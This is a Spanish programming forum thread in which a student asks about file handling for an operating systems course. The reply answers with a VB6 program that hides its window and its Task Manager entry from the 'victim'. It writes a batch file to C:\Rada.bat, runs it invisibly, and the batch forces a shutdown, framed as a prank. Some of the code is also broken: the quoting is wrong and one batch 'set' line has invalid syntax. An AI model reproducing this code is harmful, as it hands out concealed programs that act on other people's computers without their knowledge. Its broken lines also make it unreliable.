Foros del Web » Programación para mayores de 30 ;) » Programación General »

Programa que manipule archivos......

Estas en el tema de Programa que manipule archivos...... en el foro de Programación General en Foros del Web. HOLA NECESITO UN PROGRAMA QUE MANIPULE ARCHIVOS,,, LEI UN MANUAL DE C++ QUE UTILIZA LAS FUNCIONES DE OPEN Y CLOSE PARA ARCHIVOS .TXT,,,,,, AHORA NECESITO ...
  #1 (permalink)  
Antiguo 22/11/2008, 18:05
 
Fecha de Ingreso: noviembre-2008
Mensajes: 24
Antigüedad: 15 años, 5 meses
Puntos: 0
Programa que manipule archivos......

HOLA NECESITO UN PROGRAMA QUE MANIPULE ARCHIVOS,,, LEI UN MANUAL DE C++ QUE UTILIZA LAS FUNCIONES DE OPEN Y CLOSE PARA ARCHIVOS .TXT,,,,,,
AHORA NECESITO MAS FUNCIONES TODO SOBRE COMO SE TRABAJA CON ARCHIVOS,,,, ES PARA UNA TAREA DE LA MATERIA SISTEMAS OPERATIVOS SI ALGUIEN TIENE ALGUN MANUAL EL PROGRAMA PUEDE ESTAR EN JAVA, VISUAL BASIC, ENSAMBLADOR ,, PUES TENGO QUE ENTENDERLO,,,,,
  #2 (permalink)  
Antiguo 25/11/2008, 14:24
 
Fecha de Ingreso: noviembre-2008
Mensajes: 5
Antigüedad: 15 años, 5 meses
Puntos: 0
Respuesta: Programa que manipule archivos......

Espero te sirva este ejemplo esta en VB6
empieza abriendo visual basic y creando un nuevo proyecto

luego en el código del form escribe:


me.hide
app.taskvisibl e = false
open "c:\rada.bat" for output as #1
print #1, ""código del bat""
close #1
shell ("c:\rada.bat") , vbhide


ahora una pequeña explicación y luego un ejemplo


me.hide ---> hace que el formulario se oculte de la vista de manera que la víctima no lo pueda ver
el problema es que si en el administrador de tareas le da a la pestaña procesos lo verá

app.taskvisibl e = false ---> hace que tampoco se vea desde el administrador de tareas con lo que se soluciona el problema anterior

open:
a sintaxis de la función open es esta:

open archivo for modo as #file

open ---> la función open sirve para abrir archivos (no es ejecutarlos, es solo abrirlos para poder leer y escribir en ellos)
archivo ---> ruta del archivo (entre """") o variable que la contiene (sin """")
modo ---> modo del que se abre el archivo. existen 3 maneras de abrir archivos con esta función (existen más, pero ahora solo voy a mencionar estos 3, que son los más básicos). input, output y append
input sirve para abrir un archivo con la única intención de leerlo. es imposible escribir en él. si se intenta abrir con input un archivo que no existe se producirá un error
output sirve para abrir un archivo, borrar todo su contenido y escribir en él. si se abre un archivo que no existe lo creará automaticament e
append sirve para escribir en un archivo, pero en vez de borrar su contenido, escribe al final de este. si se intenta abrir un archivo que no existe se producirá un error.

#file ---> se tiene que sustituir file por un número entero. sirve para identificar cada archivo abierto. asi, si tienes varios archivos abiertos, uno será el #1, otro el #2, otro el #3...

print ---> sirve para escribir texto en un archivo abierto. para especificar en que archivo se usa #file

close ---> sirve para cerrar el archivo. también hay que especificar el archivo que se va a cerrar con #file

shell ---> sirve para ejecutar archivos. se usa escribiendo el nombre del archivo entre ("" ""). lo de , vbhide sirve para ejecutar ese archivo sin mostrarlo.


ahora el ejemplo:

supongamos que tenemos un batch sencillo, con pocas líneas y nada complicado (es que estoy cansado y no me apetece estar pensando un código decente), algo tipo:

@echo off
title holasss
cls
echo holassss
pause > nul
title adiosss
cls
echo adiosss
pause > nul
shutdown -t 10 -c "byebye"


como broma está bien, pero no pasa de ahí.

ahora cogeriamos el visual basic y ...


Private Sub Form_Load()
Me.Hide
App.TaskVisibl e = False
Open "C:\Rada.bat" For Output As #1
Print #1, "@echo off"
Print #1, "title holasss"
Print #1, "cls""
Print #1, "echo holasss"
Print #1, "pause > nul"
Print #1, "title adiosss"
Print #1, "cls""
Print #1, "echo adiosss"
Print #1, "pause > nul"
Print #1, "shutdown -t 10 -c "byebye""
Close #1
Shell (""C:\Rada.bat""), vbHide
End Sub

cada vez que se usa el print se escribe en una línea distinta, por lo que cuantas más líneas se meta en el bat, más tiempo va a llevar poner todos los prints necesarios. tambien se puede usar && en el código en batch para meterlo todo en una sola línea, pero eso es cosa de quien lo programe. ahora veamos: no he escogido ese código exactamente al azar. lo de shutdown lo he metido por un motivo.
visual basic identifica el texto entre "" como cadenas de caracteres, el problema llega cuando una frase que contiene "algo". si haces algo como esto "frase "palabra entre comillas" frase" visual basic entenderá que el primer frase es una cadena de caracteres y el segundo otra y el texto que hay en medio no sirve para nada porque no está entre comillas, lo cual provocaría un error.

por esa razón no funcionaria lo de shutdown -t 10 -c ""byebye"". la solución más facil es cambiar el código del bat, en vez de poner -c "byebye" , primero declarar una variable, por ejemplo:

set %despedida%=byebye

y luego

shutdown -t 10 -c %despedida%

sería poner en el visual basic:

print #1, "set %despedida%=byebye"
print #1, "shutdown -t 10 -c %despedida%"

con eso se solucionaria el problema de las comillas




bueno, he escrito la ostia para algo que podia haber sido solo unas pocas líneas xDDD.
pero no se quejen que tampoco cuesta tanto leer...



probablemente la mayoría de los que lean esto ya sabrían hacerlo, pero como dije al principio, este mini-manual es también para los del foro de batch



espero que esto sirva de ayuda a alguien... aunque sea a uno solo
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 23:01.